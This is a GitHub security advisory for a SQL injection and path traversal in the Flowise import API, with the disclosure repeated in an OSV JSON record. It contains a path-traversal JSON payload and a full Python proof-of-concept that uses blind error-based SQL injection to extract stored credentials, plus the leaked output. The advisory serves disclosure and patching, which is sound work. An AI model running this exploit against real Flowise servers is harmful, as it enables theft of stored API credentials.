GHSA-9C4C-G95M-C8CP
Vulnerability from github – Published: 2025-04-07 18:55 – Updated: 2026-06-24 13:01Summary
import functions are vulnerable. * importChatflows * importTools * importVariables
Details
Authenticated user can call importChatflows API, import json file such as AllChatflows.json.
but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.
Issue 1 (Bug Type)
1. Malicious user creates AllChatflows.json file by adding ../ and arbitrary path to the chatflow.id of the json file.
json
{
"Chatflows": [
{
"id": "../../../../../../apikey",
"name": "clickme",
"flowData": "{}"
}
]
}
2. Victim download this file, and import this to flowise.
3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.
Issue 2 (Vulnerability Type) importChatflows API use unsafe SQL Query.
// packages/server/src/services/chatflows/index.ts
const importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => {
try {
const appServer = getRunningExpressApp()
// step 1 - check whether file chatflows array is zero
if (newChatflows.length == 0) return
// step 2 - check whether ids are duplicate in database
let ids = '('
let count: number = 0
const lastCount = newChatflows.length - 1
newChatflows.forEach((newChatflow) => {
ids += `'${newChatflow.id}'` // <===== user input
if (lastCount != count) ids += ','
if (lastCount == count) ids += ')'
count += 1
})
const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)
.createQueryBuilder('cf')
.select('cf.id')
.where(`cf.id IN ${ids}`) // <===== here
.getMany()
const foundIds = selectResponse.map((response) => {
return response.id
})
It changes like SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}') by the code above.
When ') {Malicious SQL Query} -- is passed to newChatflow.id, SQL Injection occurs.
PoC
import argparse
import requests
def import_chatflows(
url: str,
token: str,
payload: dict
):
response = requests.post(
f'{url}/api/v1/chatflows/importchatflows',
headers={
'Authorization': f'Bearer {token}'
# 'Authorization': f'Basic {token}'
},
json=payload
)
return response.json()
def import_normal_data(
api_url: str,
token: str,
normal_data: str
):
data_id = 'aaaaaa'
payload = {
"Chatflows": [
{
"id": data_id,
"name": normal_data,
"flowData": "{}"
}
]
}
import_chatflows(
url=api_url,
token=token,
payload=payload
)
return data_id
def get_character(
api_url: str,
token: str,
data_id: str,
column_name: str,
index: int
):
injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)'
def create_payload(
c: int
):
return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "
chatflows_json = {
"Chatflows": [
{
"id": "",
"name": data_id,
"flowData": "{}"
}
]
}
bitbox = [
64, 32, 16, 8, 4, 2, 1
]
character = 0
for bit in bitbox:
payload = create_payload(c=character + bit)
chatflows_json['Chatflows'][0]['id'] = payload
res = import_chatflows(
url=api_url,
token=token,
payload=chatflows_json
)
if 'DOUBLE value is out of range' in res['message']:
# character is more then bit
character += bit
else:
# character is less then bit
character += 0
return chr(character)
def get_length(
api_url: str,
token: str,
data_id: str,
column_name: str
):
injection_query = f'(SELECT length({column_name}) FROM credential limit 0,1)'
def create_payload(
c: int
):
return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "
chatflows_json = {
"Chatflows": [
{
"id": "",
"name": data_id,
"flowData": "{}"
}
]
}
column_len = 0
bitbox = [
256, 128, 64, 32, 16, 8, 4, 2, 1
]
for bit in bitbox:
payload = create_payload(c=column_len + bit)
chatflows_json['Chatflows'][0]['id'] = payload
res = import_chatflows(
url=api_url,
token=token,
payload=chatflows_json
)
if 'DOUBLE value is out of range' in res['message']:
# column_len is more then bit
column_len += bit
else:
# column_len is less then bit
column_len += 0
return column_len
def main(
url: str,
token: str
):
api_url = url
column_box = [
'credentialName',
'encryptedData'
]
data_id = import_normal_data(
api_url=api_url,
token=token,
normal_data='flow01'
)
for column_name in column_box:
column_len = get_length(
api_url=api_url,
token=token,
data_id=data_id,
column_name=column_name
)
print(f'[+] {column_name} length is {column_len}')
result = ''
for i in range(column_len):
result += get_character(
api_url=api_url,
token=token,
data_id=data_id,
column_name=column_name,
index=i + 1
)
print(f'[+] {column_name}: {result}')
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument(
'--url',
type=str,
default='http://flowise:3000'
)
parser.add_argument(
'--access',
type=str,
required=True,
help='Get from http://flowise:3000/apikey'
)
m_args = parser.parse_args()
main(
url=m_args.url,
token=m_args.access
)
poc results: encryptedData from flowise database credential table was successfully leaked.
/app # python ex2.py --url http://flowise:3000 --access "blahblah~~~"
[+] credentialName length is 9
[+] credentialName: openAIApi
[+] encryptedData length is 88
[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==
It is recommended to limit all chatflow ids & chat ids to UUID.
Impact
- Database leak
- Lateral Movement
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.2.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-71332"
],
"database_specific": {
"cwe_ids": [
"CWE-564"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-07T18:55:13Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nimport functions are vulnerable.\n* [importChatflows](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/chatflows/index.ts#L219)\n* [importTools](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/tools/index.ts#L85)\n* [importVariables](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/variables/index.ts)\n\n### Details\n**Authenticated user** can call importChatflows API, import json file such as `AllChatflows.json`.\nbut Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.\n\n**Issue 1 (Bug Type)**\n1. Malicious user creates `AllChatflows.json` file by adding `../` and arbitrary path to the chatflow.id of the json file.\n ```json\n {\n \"Chatflows\": [\n {\n \"id\": \"../../../../../../apikey\",\n \"name\": \"clickme\",\n \"flowData\": \"{}\"\n }\n ]\n }\n ```\n2. Victim download this file, and import this to flowise.\n3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.\n\n**Issue 2 (Vulnerability Type)**\nimportChatflows API use unsafe SQL Query.\n\n```javascript\n// packages/server/src/services/chatflows/index.ts\nconst importChatflows = async (newChatflows: Partial\u003cChatFlow\u003e[]): Promise\u003cany\u003e =\u003e {\n try {\n const appServer = getRunningExpressApp()\n\n // step 1 - check whether file chatflows array is zero\n if (newChatflows.length == 0) return\n\n // step 2 - check whether ids are duplicate in database\n let ids = \u0027(\u0027\n let count: number = 0\n const lastCount = newChatflows.length - 1\n newChatflows.forEach((newChatflow) =\u003e {\n ids += `\u0027${newChatflow.id}\u0027` // \u003c===== user input\n if (lastCount != count) ids += \u0027,\u0027\n if (lastCount == count) ids += \u0027)\u0027\n count += 1\n })\n\n const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)\n .createQueryBuilder(\u0027cf\u0027)\n .select(\u0027cf.id\u0027)\n .where(`cf.id IN ${ids}`) // \u003c===== here\n .getMany()\n const foundIds = selectResponse.map((response) =\u003e {\n return response.id\n })\n```\nIt changes like `SELECT cf.id FROM cf WHERE cf.id IN (\u0027{USER-INPUT...}\u0027)` by the code above.\nWhen `\u0027) {Malicious SQL Query} --` is passed to newChatflow.id, SQL Injection occurs.\n\n### PoC\n```python\nimport argparse\nimport requests\n\n\ndef import_chatflows(\n url: str,\n token: str,\n payload: dict\n):\n response = requests.post(\n f\u0027{url}/api/v1/chatflows/importchatflows\u0027,\n headers={\n \u0027Authorization\u0027: f\u0027Bearer {token}\u0027\n # \u0027Authorization\u0027: f\u0027Basic {token}\u0027\n },\n json=payload\n )\n\n return response.json()\n\n\ndef import_normal_data(\n api_url: str,\n token: str,\n normal_data: str\n):\n data_id = \u0027aaaaaa\u0027\n\n payload = {\n \"Chatflows\": [\n {\n \"id\": data_id,\n \"name\": normal_data,\n \"flowData\": \"{}\"\n }\n ]\n }\n\n import_chatflows(\n url=api_url,\n token=token,\n payload=payload\n )\n return data_id\n\n\ndef get_character(\n api_url: str,\n token: str,\n data_id: str,\n column_name: str,\n index: int\n):\n injection_query = f\u0027(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)\u0027\n\n def create_payload(\n c: int\n ):\n return f\"{data_id}\u0027) and if (({injection_query})\u003c{c}, 0, 9e300 * 9e300); -- \"\n\n chatflows_json = {\n \"Chatflows\": [\n {\n \"id\": \"\",\n \"name\": data_id,\n \"flowData\": \"{}\"\n }\n ]\n }\n\n bitbox = [\n 64, 32, 16, 8, 4, 2, 1\n ]\n character = 0\n for bit in bitbox:\n payload = create_payload(c=character + bit)\n chatflows_json[\u0027Chatflows\u0027][0][\u0027id\u0027] = payload\n\n res = import_chatflows(\n url=api_url,\n token=token,\n payload=chatflows_json\n )\n if \u0027DOUBLE value is out of range\u0027 in res[\u0027message\u0027]:\n # character is more then bit\n character += bit\n else:\n # character is less then bit\n character += 0\n\n return chr(character)\n\n\ndef get_length(\n api_url: str,\n token: str,\n data_id: str,\n column_name: str\n):\n injection_query = f\u0027(SELECT length({column_name}) FROM credential limit 0,1)\u0027\n\n def create_payload(\n c: int\n ):\n return f\"{data_id}\u0027) and if (({injection_query})\u003c{c}, 0, 9e300 * 9e300); -- \"\n\n chatflows_json = {\n \"Chatflows\": [\n {\n \"id\": \"\",\n \"name\": data_id,\n \"flowData\": \"{}\"\n }\n ]\n }\n\n column_len = 0\n bitbox = [\n 256, 128, 64, 32, 16, 8, 4, 2, 1\n ]\n for bit in bitbox:\n payload = create_payload(c=column_len + bit)\n chatflows_json[\u0027Chatflows\u0027][0][\u0027id\u0027] = payload\n\n res = import_chatflows(\n url=api_url,\n token=token,\n payload=chatflows_json\n )\n if \u0027DOUBLE value is out of range\u0027 in res[\u0027message\u0027]:\n # column_len is more then bit\n column_len += bit\n else:\n # column_len is less then bit\n column_len += 0\n\n return column_len\n\n\ndef main(\n url: str,\n token: str\n):\n api_url = url\n\n column_box = [\n \u0027credentialName\u0027,\n \u0027encryptedData\u0027\n ]\n\n data_id = import_normal_data(\n api_url=api_url,\n token=token,\n normal_data=\u0027flow01\u0027\n )\n\n for column_name in column_box:\n column_len = get_length(\n api_url=api_url,\n token=token,\n data_id=data_id,\n column_name=column_name\n )\n\n print(f\u0027[+] {column_name} length is {column_len}\u0027)\n\n result = \u0027\u0027\n for i in range(column_len):\n result += get_character(\n api_url=api_url,\n token=token,\n data_id=data_id,\n column_name=column_name,\n index=i + 1\n )\n\n print(f\u0027[+] {column_name}: {result}\u0027)\n\n\nif __name__ == \u0027__main__\u0027:\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \u0027--url\u0027,\n type=str,\n default=\u0027http://flowise:3000\u0027\n )\n parser.add_argument(\n \u0027--access\u0027,\n type=str,\n required=True,\n help=\u0027Get from http://flowise:3000/apikey\u0027\n )\n\n m_args = parser.parse_args()\n\n main(\n url=m_args.url,\n token=m_args.access\n )\n```\n\n**poc results: encryptedData from flowise database credential table was successfully leaked.**\n```\n/app # python ex2.py --url http://flowise:3000 --access \"blahblah~~~\"\n[+] credentialName length is 9\n[+] credentialName: openAIApi\n[+] encryptedData length is 88\n[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==\n```\n\nIt is recommended to limit all chatflow ids \u0026 chat ids to UUID.\n\n### Impact\n* Database leak\n* Lateral Movement",
"id": "GHSA-9c4c-g95m-c8cp",
"modified": "2026-06-24T13:01:22Z",
"published": "2025-04-07T18:55:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9c4c-g95m-c8cp"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/pull/4226"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "FlowiseDB vulnerable to SQL Injection by authenticated users"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.